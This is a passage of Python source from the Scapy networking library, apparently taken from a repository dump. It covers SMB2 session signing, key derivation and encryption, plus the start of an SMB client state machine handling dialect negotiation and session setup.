SMB2_Compression_Transform_Header in pkt\n        ):\n            pkt = self.session.in_pkt(pkt)\n            smbh = pkt[SMB2_Header]\n            pay = smbh.payload\n            while SMB2_Header in pay:\n                pay = pay[SMB2_Header]\n                pay._decrypted = smbh._decrypted  # Keep the _decrypted flag\n                pay.underlayer.remove_payload()\n                self.queue.append(pay)\n                if not pay.NextCommand:\n                    break\n                pay = pay.payload\n\n        # Verify the signature if required.\n        # This happens here because we must have split compounded requests first.\n        smbh = pkt.getlayer(SMB2_Header)\n        if (\n            smbh\n            and self.session.Dialect\n            and self.session.SigningKey\n            and self.session.SigningRequired\n            # [MS-SMB2] sect 3.2.5.1.3 Verifying the Signature\n            # \"The client MUST skip the processing in this section if any of:\"\n            # - [...] decryption in section 3.2.5.1.1.1 succeeds\n            and not smbh._decrypted\n            # - MessageId is 0xFFFFFFFFFFFFFFFF\n            and smbh.MID != 0xFFFFFFFFFFFFFFFF\n            # - Message is not ECHO request\n            and smbh.Command != 0x000D\n            # - Status in the SMB2 header is STATUS_PENDING\n            and smbh.Status != 0x00000103\n        ):\n            smbh.verify(\n                self.session.Dialect,\n                self.session.SigningKey,\n                # SMB 3.1.1 parameters:\n                SigningAlgorithmId=self.session.SigningAlgorithmId,\n                IsClient=False,\n            )\n        return pkt\n\n    def send(self, x, Compounded=False, ForceSign=False, ForceEncrypt=False, **kwargs):\n        for pkt in self.session.out_pkt(\n            x, Compounded=Compounded, ForceSign=ForceSign, ForceEncrypt=ForceEncrypt\n        ):\n            return super(SMBStreamSocket, self).send(pkt, **kwargs)\n\n    @staticmethod\n    def select(sockets, remain=conf.recv_poll_rate):\n        if any(getattr(x, \"queue\", None) for x in sockets):\n            return [x for x in sockets if isinstance(x, SMBStreamSocket) and x.queue]\n        return select_objects(sockets, remain=remain)\n\n\nclass SMBSession(DefaultSession):\n    \"\"\"\n    A SMB session within a TCP socket.\n    \"\"\"\n\n    def __init__(self, *args, **kwargs):\n        self.smb_header = None\n        self.ssp = kwargs.pop(\"ssp\", None)\n        self.sspcontext = kwargs.pop(\"sspcontext\", None)\n        self.sniffsspcontexts = {}  # Unfinished contexts for passive\n        # SMB session parameters\n        self.CompoundQueue = []\n        self.Dialect = 0x0202  # Updated by parent\n        self.Credits = 0\n        self.IsGuest = False\n        self.MaxTransactionSize = 0\n        self.MaxReadSize = 0\n        self.MaxWriteSize = 0\n        # Crypto parameters. Go read [MS-SMB2] to understand the names.\n        self.SigningRequired = True\n        self.SupportsEncryption = False\n        self.EncryptData = False\n        self.TreeEncryptData = False\n        self.SigningKey = None\n        self.EncryptionKey = None\n        self.DecryptionKey = None\n        self.PreauthIntegrityHashId = \"SHA-512\"\n        self.SupportedCipherIds = [\n            \"AES-128-CCM\",\n            \"AES-128-GCM\",\n            \"AES-256-CCM\",\n            \"AES-256-GCM\",\n        ]\n        self.CipherId = \"AES-128-CCM\"\n        self.SupportedSigningAlgorithmIds = [\n            \"AES-CMAC\",\n            \"HMAC-SHA256\",\n        ]\n        self.SigningAlgorithmId = None\n        self.Salt = os.urandom(32)\n        self.ConnectionPreauthIntegrityHashValue = None\n        self.SessionPreauthIntegrityHashValue = None\n        # SMB 3.1.1\n        self.SessionPreauthIntegrityHashValue = None\n        if conf.winssps_passive:\n            for ssp in conf.winssps_passive:\n                self.sniffsspcontexts[ssp] = None\n        super(SMBSession, self).__init__(*args, **kwargs)\n\n    # SMB crypto functions\n\n    @crypto_validator\n    def computeSMBSessionKeys(self, IsClient=None):\n        \"\"\"\n        Compute the SigningKey and EncryptionKey (for SMB 3+)\n        \"\"\"\n        if not getattr(self.sspcontext, \"SessionKey\", None):\n            # no signing key, no session key\n            return\n        # [MS-SMB2] sect 3.3.5.5.3\n        # SigningKey\n        if self.Dialect >= 0x0300:\n            if self.Dialect == 0x0311:\n                label = b\"SMBSigningKey\\x00\"\n                context = self.SessionPreauthIntegrityHashValue\n            else:\n                label = b\"SMB2AESCMAC\\x00\"\n                context = b\"SmbSign\\x00\"\n            # [MS-SMB2] sect 3.1.4.2\n            if \"256\" in self.CipherId:\n                L = 256\n            elif \"128\" in self.CipherId:\n                L = 128\n            else:\n                raise ValueError\n            self.SigningKey = SP800108_KDFCTR(\n                self.sspcontext.SessionKey[:16],\n                label,\n                context,\n                L,\n            )\n            # EncryptionKey / DecryptionKey\n            if self.Dialect == 0x0311:\n                if IsClient:\n                    label_out = b\"SMBC2SCipherKey\\x00\"\n                    label_in = b\"SMBS2CCipherKey\\x00\"\n                else:\n                    label_out = b\"SMBS2CCipherKey\\x00\"\n                    label_in = b\"SMBC2SCipherKey\\x00\"\n                context_out = context_in = self.SessionPreauthIntegrityHashValue\n            else:\n                label_out = label_in = b\"SMB2AESCCM\\x00\"\n                if IsClient:\n                    context_out = b\"ServerIn \\x00\"  # extra space per spec\n                    context_in = b\"ServerOut\\x00\"\n                else:\n                    context_out = b\"ServerOut\\x00\"\n                    context_in = b\"ServerIn \\x00\"\n            self.EncryptionKey = SP800108_KDFCTR(\n                self.sspcontext.SessionKey[: L // 8],\n                label_out,\n                context_out,\n                L,\n            )\n            self.DecryptionKey = SP800108_KDFCTR(\n                self.sspcontext.SessionKey[: L // 8],\n                label_in,\n                context_in,\n                L,\n            )\n        elif self.Dialect <= 0x0210:\n            self.SigningKey = self.sspcontext.SessionKey[:16]\n        else:\n            raise ValueError(\"Hmmm ? >:(\")\n\n    def computeSMBConnectionPreauth(self, *negopkts):\n        if self.Dialect and self.Dialect >= 0x0311:  # SMB 3.1.1 only\n            # [MS-SMB2] 3.3.5.4\n            # TODO: handle SMB2_SESSION_FLAG_BINDING\n            if self.ConnectionPreauthIntegrityHashValue is None:\n                # New auth or failure\n                self.ConnectionPreauthIntegrityHashValue = b\"\\x00\" * 64\n            # Calculate the *Connection* PreauthIntegrityHashValue\n            for negopkt in negopkts:\n                self.ConnectionPreauthIntegrityHashValue = (\n                    SMB2computePreauthIntegrityHashValue(\n                        self.ConnectionPreauthIntegrityHashValue,\n                        negopkt,\n                        HashId=self.PreauthIntegrityHashId,\n                    )\n                )\n\n    def computeSMBSessionPreauth(self, *sesspkts):\n        if self.Dialect and self.Dialect >= 0x0311:  # SMB 3.1.1 only\n            # [MS-SMB2] 3.3.5.5.3\n            if self.SessionPreauthIntegrityHashValue is None:\n                # New auth or failure\n                self.SessionPreauthIntegrityHashValue = (\n                    self.ConnectionPreauthIntegrityHashValue\n                )\n            # Calculate the *Session* PreauthIntegrityHashValue\n            for sesspkt in sesspkts:\n                self.SessionPreauthIntegrityHashValue = (\n                    SMB2computePreauthIntegrityHashValue(\n                        self.SessionPreauthIntegrityHashValue,\n                        sesspkt,\n                        HashId=self.PreauthIntegrityHashId,\n                    )\n                )\n\n    # I/O\n\n    def in_pkt(self, pkt):\n        \"\"\"\n        Incoming SMB packet\n        \"\"\"\n        if SMB2_Transform_Header in pkt:\n            # Packet is encrypted\n            pkt = pkt[SMB2_Transform_Header].decrypt(\n                self.Dialect,\n                self.DecryptionKey,\n                CipherId=self.CipherId,\n            )\n        # Signature is verified in SMBStreamSocket\n        return pkt\n\n    def out_pkt(self, pkt, Compounded=False, ForceSign=False, ForceEncrypt=False):\n        \"\"\"\n        Outgoing SMB packet\n\n        :param pkt: the packet to send\n        :param Compound: if True, will be stack to be send with the next\n                         un-compounded packet\n        :param ForceSign: if True, force to sign the packet.\n        :param ForceEncrypt: if True, force to encrypt the packet.\n\n        Handles:\n         - handle compounded requests (if any): [MS-SMB2] 3.3.5.2.7\n         - handles signing and encryption (if required)\n        \"\"\"\n        # Note: impacket and wireshark get crazy on compounded+signature, but\n        # windows+samba tells we're right :D\n        if SMB2_Header in pkt:\n            if self.CompoundQueue:\n                # this is a subsequent compound: only keep the SMB2\n                pkt = pkt[SMB2_Header]\n            if Compounded:\n                # [MS-SMB2] 3.2.4.1.4\n                # \"Compounded requests MUST be aligned on 8-byte boundaries; the\n                # last request of the compounded requests does not need to be padded to\n                # an 8-byte boundary.\"\n                # [MS-SMB2] 3.1.4.1\n                # \"If the message is part of a compounded chain, any\n                # padding at the end of the message MUST be used in the hash\n                # computation.\"\n                length = len(pkt[SMB2_Header])\n                padlen = (-length) % 8\n                if padlen:\n                    pkt.add_payload(b\"\\x00\" * padlen)\n                pkt[SMB2_Header].NextCommand = length + padlen\n            if (\n                self.Dialect\n                and self.SigningKey\n                and (ForceSign or self.SigningRequired and not ForceEncrypt)\n            ):\n                # [MS-SMB2] sect 3.2.4.1.1 - Signing\n                smb = pkt[SMB2_Header]\n                smb.Flags += \"SMB2_FLAGS_SIGNED\"\n                smb.sign(\n                    self.Dialect,\n                    self.SigningKey,\n                    # SMB 3.1.1 parameters:\n                    SigningAlgorithmId=self.SigningAlgorithmId,\n                    IsClient=False,\n                )\n            if Compounded:\n                # There IS a next compound. Store in queue\n                self.CompoundQueue.append(pkt)\n                return []\n            else:\n                # If there are any compounded responses in store, sum them\n                if self.CompoundQueue:\n                    pkt = functools.reduce(lambda x, y: x / y, self.CompoundQueue) / pkt\n                    self.CompoundQueue.clear()\n            if self.EncryptionKey and (\n                ForceEncrypt or self.EncryptData or self.TreeEncryptData\n            ):\n                # [MS-SMB2] sect 3.1.4.3 - Encrypting the message\n                smb = pkt[SMB2_Header]\n                assert not smb.Flags.SMB2_FLAGS_SIGNED\n                smbt = smb.encrypt(\n                    self.Dialect,\n                    self.EncryptionKey,\n                    CipherId=self.CipherId,\n                )\n                if smb.underlayer:\n                    # If there's an underlayer, replace current SMB header\n                    smb.underlayer.payload = smbt\n                else:\n                    smb = smbt\n        return [pkt]\n\n    def process(self, pkt: Packet):\n        # Called when passively sniffing\n        pkt = super(SMBSession, self).process(pkt)\n        if pkt is not None and SMB2_Header in pkt:\n            return self.in_pkt(pkt)\n        return pkt\n"
  },
  {
    "path": "scapy/layers/smbclient.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nSMB 1 / 2 Client Automaton\n\n\n.. note::\n    You will find more complete documentation for this layer over at\n    `SMB <https://scapy.readthedocs.io/en/latest/layers/smb.html#client>`_\n\"\"\"\n\nimport io\nimport os\nimport pathlib\nimport socket\nimport time\nimport threading\n\nfrom scapy.automaton import ATMT, Automaton, ObjectPipe\nfrom scapy.config import conf\nfrom scapy.error import Scapy_Exception\nfrom scapy.fields import UTCTimeField\nfrom scapy.supersocket import SuperSocket\nfrom scapy.utils import (\n    CLIUtil,\n    pretty_list,\n    human_size,\n)\nfrom scapy.volatile import RandUUID\n\nfrom scapy.layers.dcerpc import NDRUnion, find_dcerpc_interface\nfrom scapy.layers.gssapi import (\n    GSS_S_COMPLETE,\n    GSS_S_CONTINUE_NEEDED,\n    GSS_C_FLAGS,\n)\nfrom scapy.layers.msrpce.raw.ms_srvs import (\n    LPSHARE_ENUM_STRUCT,\n    NetrShareEnum_Request,\n    SHARE_INFO_1_CONTAINER,\n)\nfrom scapy.layers.ntlm import (\n    NTLMSSP,\n)\nfrom scapy.layers.smb import (\n    SMBNegotiate_Request,\n    SMBNegotiate_Response_Extended_Security,\n    SMBNegotiate_Response_Security,\n    SMBSession_Null,\n    SMBSession_Setup_AndX_Request,\n    SMBSession_Setup_AndX_Request_Extended_Security,\n    SMBSession_Setup_AndX_Response,\n    SMBSession_Setup_AndX_Response_Extended_Security,\n    SMB_Dialect,\n    SMB_Header,\n)\nfrom scapy.layers.windows.security import SECURITY_DESCRIPTOR\nfrom scapy.layers.smb2 import (\n    DirectTCP,\n    FileAllInformation,\n    FileIdBothDirectoryInformation,\n    SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2,\n    SMB2_CREATE_REQUEST_LEASE,\n    SMB2_CREATE_REQUEST_LEASE_V2,\n    SMB2_Change_Notify_Request,\n    SMB2_Change_Notify_Response,\n    SMB2_Close_Request,\n    SMB2_Close_Response,\n    SMB2_Create_Context,\n    SMB2_Create_Request,\n    SMB2_Create_Response,\n    SMB2_ENCRYPTION_CIPHERS,\n    SMB2_Encryption_Capabilities,\n    SMB2_Error_Response,\n    SMB2_Header,\n    SMB2_IOCTL_Request,\n    SMB2_IOCTL_Response,\n    SMB2_Negotiate_Context,\n    SMB2_Negotiate_Protocol_Request,\n    SMB2_Negotiate_Protocol_Response,\n    SMB2_Netname_Negotiate_Context_ID,\n    SMB2_Preauth_Integrity_Capabilities,\n    SMB2_Query_Directory_Request,\n    SMB2_Query_Directory_Response,\n    SMB2_Query_Info_Request,\n    SMB2_Query_Info_Response,\n    SMB2_Read_Request,\n    SMB2_Read_Response,\n    SMB2_SIGNING_ALGORITHMS,\n    SMB2_Session_Setup_Request,\n    SMB2_Session_Setup_Response,\n    SMB2_Signing_Capabilities,\n    SMB2_Tree_Connect_Request,\n    SMB2_Tree_Connect_Response,\n    SMB2_Tree_Disconnect_Request,\n    SMB2_Tree_Disconnect_Response,\n    SMB2_Write_Request,\n    SMB2_Write_Response,\n    SMBStreamSocket,\n    SMB_DIALECTS,\n    SRVSVC_SHARE_TYPES,\n    STATUS_ERREF,\n)\nfrom scapy.layers.spnego import SPNEGOSSP\n\n\nclass SMB_Client(Automaton):\n    \"\"\"\n    SMB client automaton\n\n    :param sock: the SMBStreamSocket to use\n    :param ssp: the SSP to use\n\n    All other options (in caps) are optional, and SMB specific:\n\n    :param REQUIRE_SIGNATURE: set 'Require Signature'\n    :param REQUIRE_ENCRYPTION: set 'Requite Encryption'\n    :param MIN_DIALECT: minimum SMB dialect. Defaults to 0x0202 (2.0.2)\n    :param MAX_DIALECT: maximum SMB dialect. Defaults to 0x0311 (3.1.1)\n    :param DIALECTS: list of supported SMB2 dialects.\n                     Constructed from MIN_DIALECT, MAX_DIALECT otherwise.\n    \"\"\"\n\n    port = 445\n    cls = DirectTCP\n\n    def __init__(self, sock, ssp=None, *args, **kwargs):\n        # Various SMB client arguments\n        self.EXTENDED_SECURITY = kwargs.pop(\"EXTENDED_SECURITY\", True)\n        self.USE_SMB1 = kwargs.pop(\"USE_SMB1\", False)\n        self.REQUIRE_SIGNATURE = kwargs.pop(\"REQUIRE_SIGNATURE\", None)\n        self.REQUIRE_ENCRYPTION = kwargs.pop(\"REQUIRE_ENCRYPTION\", False)\n        self.RETRY = kwargs.pop(\"RETRY\", 0)  # optionally: retry n times session setup\n        self.SMB2 = kwargs.pop(\"SMB2\", False)  # optionally: start directly in SMB2\n        self.HOST = kwargs.pop(\"HOST\", \"\")\n        # Store supported dialects\n        if \"DIALECTS\" in kwargs:\n            self.DIALECTS = kwargs.pop(\"DIALECTS\")\n        else:\n            MIN_DIALECT = kwargs.pop(\"MIN_DIALECT\", 0x0202)\n            self.MAX_DIALECT = kwargs.pop(\"MAX_DIALECT\", 0x0311)\n            self.DIALECTS = sorted(\n                [\n                    x\n                    for x in [0x0202, 0x0210, 0x0300, 0x0302, 0x0311]\n                    if x >= MIN_DIALECT and x <= self.MAX_DIALECT\n                ]\n            )\n        # Internal Session information\n        self.ErrorStatus = None\n        self.NegotiateCapabilities = None\n        self.GUID = RandUUID()._fix()\n        self.SequenceWindow = (0, 0)  # keep track of allowed MIDs\n        self.CurrentCreditCount = 0\n        self.MaxCreditCount = 128\n        if ssp is None:\n            # We got no SSP. Assuming the server allows anonymous\n            ssp = SPNEGOSSP(\n                [\n                    NTLMSSP(\n                        UPN=\"guest\",\n                        HASHNT=b\"\",\n                    )\n                ]\n            )\n        # Initialize\n        kwargs[\"sock\"] = sock\n        Automaton.__init__(\n            self,\n            *args,\n            **kwargs,\n        )\n        if self.is_atmt_socket:\n            self.smb_sock_ready = threading.Event()\n        # Set session options\n        self.session.ssp = ssp\n        self.session.SigningRequired = (\n            self.REQUIRE_SIGNATURE if self.REQUIRE_SIGNATURE is not None else bool(ssp)\n        )\n        self.session.Dialect = self.MAX_DIALECT\n\n    @classmethod\n    def from_tcpsock(cls, sock, **kwargs):\n        return cls.smblink(\n            None,\n            SMBStreamSocket(sock, DirectTCP),\n            **kwargs,\n        )\n\n    @property\n    def session(self):\n        # session shorthand\n        return self.sock.session\n\n    def send(self, pkt):\n        # Calculate what CreditCharge to send.\n        if self.session.Dialect > 0x0202 and isinstance(pkt.payload, SMB2_Header):\n            # [MS-SMB2] sect 3.2.4.1.5\n            typ = type(pkt.payload.payload)\n            if typ is SMB2_Negotiate_Protocol_Request:\n                # See [MS-SMB2] 3.2.4.1.2 note\n                pkt.CreditCharge = 0\n            elif typ in [\n                SMB2_Read_Request,\n                SMB2_Write_Request,\n                SMB2_IOCTL_Request,\n                SMB2_Query_Directory_Request,\n                SMB2_Change_Notify_Request,\n                SMB2_Query_Info_Request,\n            ]:\n                # [MS-SMB2] 3.1.5.2\n                # \"For READ, WRITE, IOCTL, and QUERY_DIRECTORY requests\"\n                # \"CHANGE_NOTIFY, QUERY_INFO, or SET_INFO\"\n                if typ == SMB2_Read_Request:\n                    Length = pkt.payload.Length\n                elif typ == SMB2_Write_Request:\n                    Length = len(pkt.payload.Data)\n                elif typ == SMB2_IOCTL_Request:\n                    # [MS-SMB2] 3.3.5.15\n                    Length = max(len(pkt.payload.Input), pkt.payload.MaxOutputResponse)\n                elif typ in [\n                    SMB2_Query_Directory_Request,\n                    SMB2_Change_Notify_Request,\n                    SMB2_Query_Info_Request,\n                ]:\n                    Length = pkt.payload.OutputBufferLength\n                else:\n                    raise RuntimeError(\"impossible case\")\n                pkt.CreditCharge = 1 + (Length - 1) // 65536\n            else:\n                # \"For all other requests, the client MUST set CreditCharge to 1\"\n                pkt.CreditCharge = 1\n            # Keep track of our credits\n            self.CurrentCreditCount -= pkt.CreditCharge\n            # [MS-SMB2] note <110>\n            # \"The Windows-based client will request credits up to a configurable\n            # maximum of 128 by default.\"\n            pkt.CreditRequest = self.MaxCreditCount - self.CurrentCreditCount\n        # Get first available message ID: [MS-SMB2] 3.2.4.1.3 and 3.2.4.1.5\n        pkt.MID = self.SequenceWindow[0]\n        return super(SMB_Client, self).send(pkt)\n\n    @ATMT.state(initial=1)\n    def BEGIN(self):\n        pass\n\n    @ATMT.condition(BEGIN)\n    def continue_smb2(self):\n        if self.SMB2:  # Directly started in SMB2\n            self.smb_header = DirectTCP() / SMB2_Header(PID=0xFEFF)\n            raise self.SMB2_NEGOTIATE()\n\n    @ATMT.condition(BEGIN, prio=1)\n    def send_negotiate(self):\n        raise self.SENT_NEGOTIATE()\n\n    @ATMT.action(send_negotiate)\n    def on_negotiate(self):\n        # [MS-SMB2] sect 3.2.4.2.2.1 - Multi-Protocol Negotiate\n        self.smb_header = DirectTCP() / SMB_Header(\n            Flags2=(\n                \"LONG_NAMES+EAS+NT_STATUS+UNICODE+\"\n                \"SMB_SECURITY_SIGNATURE+EXTENDED_SECURITY\"\n            ),\n            TID=0xFFFF,\n            PIDLow=0xFEFF,\n            UID=0,\n            MID=0,\n        )\n        if self.EXTENDED_SECURITY:\n            self.smb_header.Flags2 += \"EXTENDED_SECURITY\"\n        pkt = self.smb_header.copy() / SMBNegotiate_Request(\n            Dialects=[\n                SMB_Dialect(DialectString=x)\n                for x in [\n                    \"PC NETWORK PROGRAM 1.0\",\n                    \"LANMAN1.0\",\n                    \"Windows for Workgroups 3.1a\",\n                    \"LM1.2X002\",\n                    \"LANMAN2.1\",\n                    \"NT LM 0.12\",\n                ]\n                + ([\"SMB 2.002\", \"SMB 2.???\"] if not self.USE_SMB1 else [])\n            ],\n        )\n        if not self.EXTENDED_SECURITY:\n            pkt.Flags2 -= \"EXTENDED_SECURITY\"\n        pkt[SMB_Header].Flags2 = (\n            pkt[SMB_Header].Flags2\n            - \"SMB_SECURITY_SIGNATURE\"\n            + \"SMB_SECURITY_SIGNATURE_REQUIRED+IS_LONG_NAME\"\n        )\n        self.send(pkt)\n\n    @ATMT.state()\n    def SENT_NEGOTIATE(self):\n        pass\n\n    @ATMT.state()\n    def SMB2_NEGOTIATE(self):\n        pass\n\n    @ATMT.condition(SMB2_NEGOTIATE)\n    def send_negotiate_smb2(self):\n        raise self.SENT_NEGOTIATE()\n\n    @ATMT.action(send_negotiate_smb2)\n    def on_negotiate_smb2(self):\n        # [MS-SMB2] sect 3.2.4.2.2.2 - SMB2-Only Negotiate\n        pkt = self.smb_header.copy() / SMB2_Negotiate_Protocol_Request(\n            Dialects=self.DIALECTS,\n            SecurityMode=(\n                \"SIGNING_ENABLED+SIGNING_REQUIRED\"\n                if self.session.SigningRequired\n                else \"SIGNING_ENABLED\"\n            ),\n        )\n        if self.MAX_DIALECT >= 0x0210:\n            # \"If the client implements the SMB 2.1 or SMB 3.x dialect, ClientGuid\n            # MUST be set to the global ClientGuid value\"\n            pkt.ClientGUID = self.GUID\n        # Capabilities: same as [MS-SMB2] 3.3.5.4\n        self.NegotiateCapabilities = \"+\".join(\n            [\n                \"DFS\",\n                \"LEASING\",\n                \"LARGE_MTU\",\n            ]\n        )\n        if self.MAX_DIALECT >= 0x0300:\n            # \"if Connection.Dialect belongs to the SMB 3.x dialect family ...\"\n            self.NegotiateCapabilities += \"+\" + \"+\".join(\n                [\n                    \"MULTI_CHANNEL\",\n                    \"PERSISTENT_HANDLES\",\n                    \"DIRECTORY_LEASING\",\n                    \"ENCRYPTION\",\n                ]\n            )\n        if self.MAX_DIALECT >= 0x0311:\n            # \"If the client implements the SMB 3.1.1 dialect, it MUST do\"\n            pkt.NegotiateContexts = [\n                SMB2_Negotiate_Context()\n                / SMB2_Preauth_Integrity_Capabilities(\n                    # As for today, no other hash algorithm is described by the spec\n                    HashAlgorithms=[\"SHA-512\"],\n                    Salt=self.session.Salt,\n                ),\n                SMB2_Negotiate_Context()\n                / SMB2_Encryption_Capabilities(\n                    Ciphers=self.session.SupportedCipherIds,\n                ),\n                # TODO support compression and RDMA\n                SMB2_Negotiate_Context()\n                / SMB2_Netname_Negotiate_Context_ID(\n                    NetName=self.HOST,\n                ),\n                SMB2_Negotiate_Context()\n                / SMB2_Signing_Capabilities(\n                    SigningAlgorithms=self.session.SupportedSigningAlgorithmIds,\n                ),\n            ]\n        pkt.Capabilities = self.NegotiateCapabilities\n        # Send\n        self.send(pkt)\n        # If required, compute sessions\n        self.session.computeSMBConnectionPreauth(\n            bytes(pkt[SMB2_Header]),  # nego request\n        )\n\n    @ATMT.receive_condition(SENT_NEGOTIATE)\n    def receive_negotiate_response(self, pkt):\n        if (\n            SMBNegotiate_Response_Extended_Security in pkt\n            or SMB2_Negotiate_Protocol_Response in pkt\n        ):\n            # Extended SMB1 / SMB2\n            try:\n                ssp_blob = pkt.SecurityBlob  # eventually SPNEGO server initiation\n            except AttributeError:\n                ssp_blob = None\n            if (\n                SMB2_Negotiate_Protocol_Response in pkt\n                and pkt.DialectRevision & 0xFF == 0xFF\n            ):\n                # Version is SMB X.???\n                # [MS-SMB2] 3.2.5.2\n                # If the DialectRevision field in the SMB2 NEGOTIATE Response is\n                # 0x02FF ... the client MUST allocate sequence number 1 from\n                # Connection.SequenceWindow, and MUST set MessageId field of the\n                # SMB2 header to 1.\n                self.SequenceWindow = (1, 1)\n                self.smb_header = DirectTCP() / SMB2_Header(PID=0xFEFF, MID=1)\n                self.SMB2 = True  # We're now using SMB2 to talk to the server\n                raise self.SMB2_NEGOTIATE()\n            else:\n                if SMB2_Negotiate_Protocol_Response in pkt:\n                    # SMB2 was negotiated !\n                    self.session.Dialect = pkt.DialectRevision\n                    # If required, compute sessions\n                    self.session.computeSMBConnectionPreauth(\n                        bytes(pkt[SMB2_Header]),  # nego response\n                    )\n                    # Process max sizes\n                    self.session.MaxReadSize = pkt.MaxReadSize\n                    self.session.MaxTransactionSize = pkt.MaxTransactionSize\n                    self.session.MaxWriteSize = pkt.MaxWriteSize\n                    # Process SecurityMode\n                    if pkt.SecurityMode.SIGNING_REQUIRED:\n                        self.session.SigningRequired = True\n                    # Process capabilities\n                    if self.session.Dialect >= 0x0300:\n                        self.session.SupportsEncryption = pkt.Capabilities.ENCRYPTION\n                    # Process NegotiateContext\n                    if self.session.Dialect >= 0x0311 and pkt.NegotiateContextsCount:\n                        for ngctx in pkt.NegotiateContexts:\n                            if ngctx.ContextType == 0x0002:\n                                # SMB2_ENCRYPTION_CAPABILITIES\n                                if ngctx.Ciphers[0] != 0:\n                                    self.session.CipherId = SMB2_ENCRYPTION_CIPHERS[\n                                        ngctx.Ciphers[0]\n                                    ]\n                                    self.session.SupportsEncryption = True\n                            elif ngctx.ContextType == 0x0008:\n                                # SMB2_SIGNING_CAPABILITIES\n                                self.session.SigningAlgorithmId = (\n                                    SMB2_SIGNING_ALGORITHMS[ngctx.SigningAlgorithms[0]]\n                                )\n                    if self.REQUIRE_ENCRYPTION and not self.session.SupportsEncryption:\n                        self.ErrorStatus = \"NEGOTIATE FAILURE: encryption.\"\n                        raise self.NEGO_FAILED()\n                self.update_smbheader(pkt)\n                raise self.NEGOTIATED(ssp_blob)\n        elif SMBNegotiate_Response_Security in pkt:\n            # Non-extended SMB1\n            # Never tested. FIXME. probably broken\n            raise self.NEGOTIATED(pkt.Challenge)\n\n    @ATMT.state(final=1)\n    def NEGO_FAILED(self):\n        self.smb_sock_ready.set()\n\n    @ATMT.state()\n    def NEGOTIATED(self, ssp_blob=None):\n        # Negotiated ! We now know the Dialect\n        if self.session.Dialect > 0x0202:\n            # [MS-SMB2] sect 3.2.5.1.4\n            self.smb_header.CreditRequest = 1\n        # Begin session establishment\n        ssp_tuple = self.session.ssp.GSS_Init_sec_context(\n            self.session.sspcontext,\n            input_token=ssp_blob,\n            target_name=\"cifs/\" + self.HOST if self.HOST else None,\n            req_flags=(\n                GSS_C_FLAGS.GSS_C_MUTUAL_FLAG\n                | (GSS_C_FLAGS.GSS_C_INTEG_FLAG if self.session.SigningRequired else 0)\n            ),\n        )\n        return ssp_tuple\n\n    def update_smbheader(self, pkt):\n        \"\"\"\n        Called when receiving a SMB2 packet to update the current smb_header\n        \"\"\"\n        # Some values should not be updated when ASYNC\n        if not pkt.Flags.SMB2_FLAGS_ASYNC_COMMAND:\n            # Update IDs\n            self.smb_header.SessionId = pkt.SessionId\n            self.smb_header.TID = pkt.TID\n            self.smb_header.PID = pkt.PID\n            # Update credits\n            self.CurrentCreditCount += pkt.CreditRequest\n        # [MS-SMB2] 3.2.5.1.4\n        self.SequenceWindow = (\n            self.SequenceWindow[0] + max(pkt.CreditCharge, 1),\n            self.SequenceWindow[1] + pkt.CreditRequest,\n        )\n\n    # DEV: add a condition on NEGOTIATED with prio=0\n\n    @ATMT.condition(NEGOTIATED, prio=1)\n    def should_send_session_setup_request(self, ssp_tuple):\n        _, _, status = ssp_tuple\n        if status not in [GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED]:\n            raise ValueError(\"Internal error: the SSP completed with an error.\")\n        raise self.SENT_SESSION_REQUEST().action_parameters(ssp_tuple)\n\n    @ATMT.state()\n    def SENT_SESSION_REQUEST(self):\n        pass\n\n    @ATMT.action(should_send_session_setup_request)\n    def send_setup_session_request(self, ssp_tuple):\n        self.session.sspcontext, token, status = ssp_tuple\n        if self.SMB2 and status == GSS_S_CONTINUE_NEEDED:\n            # New session: force 0\n            self.SessionId = 0\n        if self.SMB2 or self.EXTENDED_SECURITY:\n            # SMB1 extended / SMB2\n            if self.SMB2:\n                # SMB2\n                pkt = self.smb_header.copy() / SMB2_Session_Setup_Request(\n                    Capabilities=\"DFS\",\n                    SecurityMode=(\n                        \"SIGNING_ENABLED+SIGNING_REQUIRED\"\n                        if self.session.SigningRequired\n                        else \"SIGNING_ENABLED\"\n                    ),\n                )\n            else:\n                # SMB1 extended\n                pkt = (\n                    self.smb_header.copy()\n                    / SMBSession_Setup_AndX_Request_Extended_Security(\n                        ServerCapabilities=(\n                            \"UNICODE+NT_SMBS+STATUS32+LEVEL_II_OPLOCKS+\"\n                            \"DYNAMIC_REAUTH+EXTENDED_SECURITY\"\n                        ),\n                        NativeOS=b\"\",\n                        NativeLanMan=b\"\",\n                    )\n                )\n            pkt.SecurityBlob = token\n        else:\n            # Non-extended security.\n            pkt = self.smb_header.copy() / SMBSession_Setup_AndX_Request(\n                ServerCapabilities=\"UNICODE+NT_SMBS+STATUS32+LEVEL_II_OPLOCKS\",\n                NativeOS=b\"\",\n                NativeLanMan=b\"\",\n                OEMPassword=b\"\\0\" * 24,\n                UnicodePassword=token,\n            )\n        self.send(pkt)\n        if self.SMB2:\n            # If required, compute sessions\n            self.session.computeSMBSessionPreauth(\n                bytes(pkt[SMB2_Header]),  # session request\n            )\n\n    @ATMT.receive_condition(SENT_SESSION_REQUEST)\n    def receive_session_setup_response(self, pkt):\n        if (\n            SMBSession_Null in pkt\n            or SMBSession_Setup_AndX_Response_Extended_Security in pkt\n            or SMBSession_Setup_AndX_Response in pkt\n        ):\n            # SMB1\n            if SMBSession_Null in pkt:\n                # Likely an error\n                raise self.NEGOTIATED()\n        # Logging\n        if pkt.Status != 0 and pkt.Status != 0xC0000016:\n            # Not SUCCESS nor MORE_PROCESSING_REQUIRED: log\n            self.ErrorStatus = pkt.sprintf(\"%SMB2_Header.Status%\")\n            self.debug(\n                lvl=1,\n                msg=conf.color_theme.red(\n                    pkt.sprintf(\"SMB Session Setup Response: %SMB2_Header.Status%\")\n                ),\n            )\n        if self.SMB2:\n            self.update_smbheader(pkt)\n        # Cases depending on the response packet\n        if (\n            SMBSession_Setup_AndX_Response_Extended_Security in pkt\n            or SMB2_Session_Setup_Response in pkt\n        ):\n            # The server assigns us a SessionId\n            self.smb_header.SessionId = pkt.SessionId\n            # SMB1 extended / SMB2\n            if pkt.Status == 0:  # Authenticated\n                if SMB2_Session_Setup_Response in pkt:\n                    # [MS-SMB2] sect 3.2.5.3.1\n                    if pkt.SessionFlags.IS_GUEST:\n                        # \"If the security subsystem indicates that the session\n                 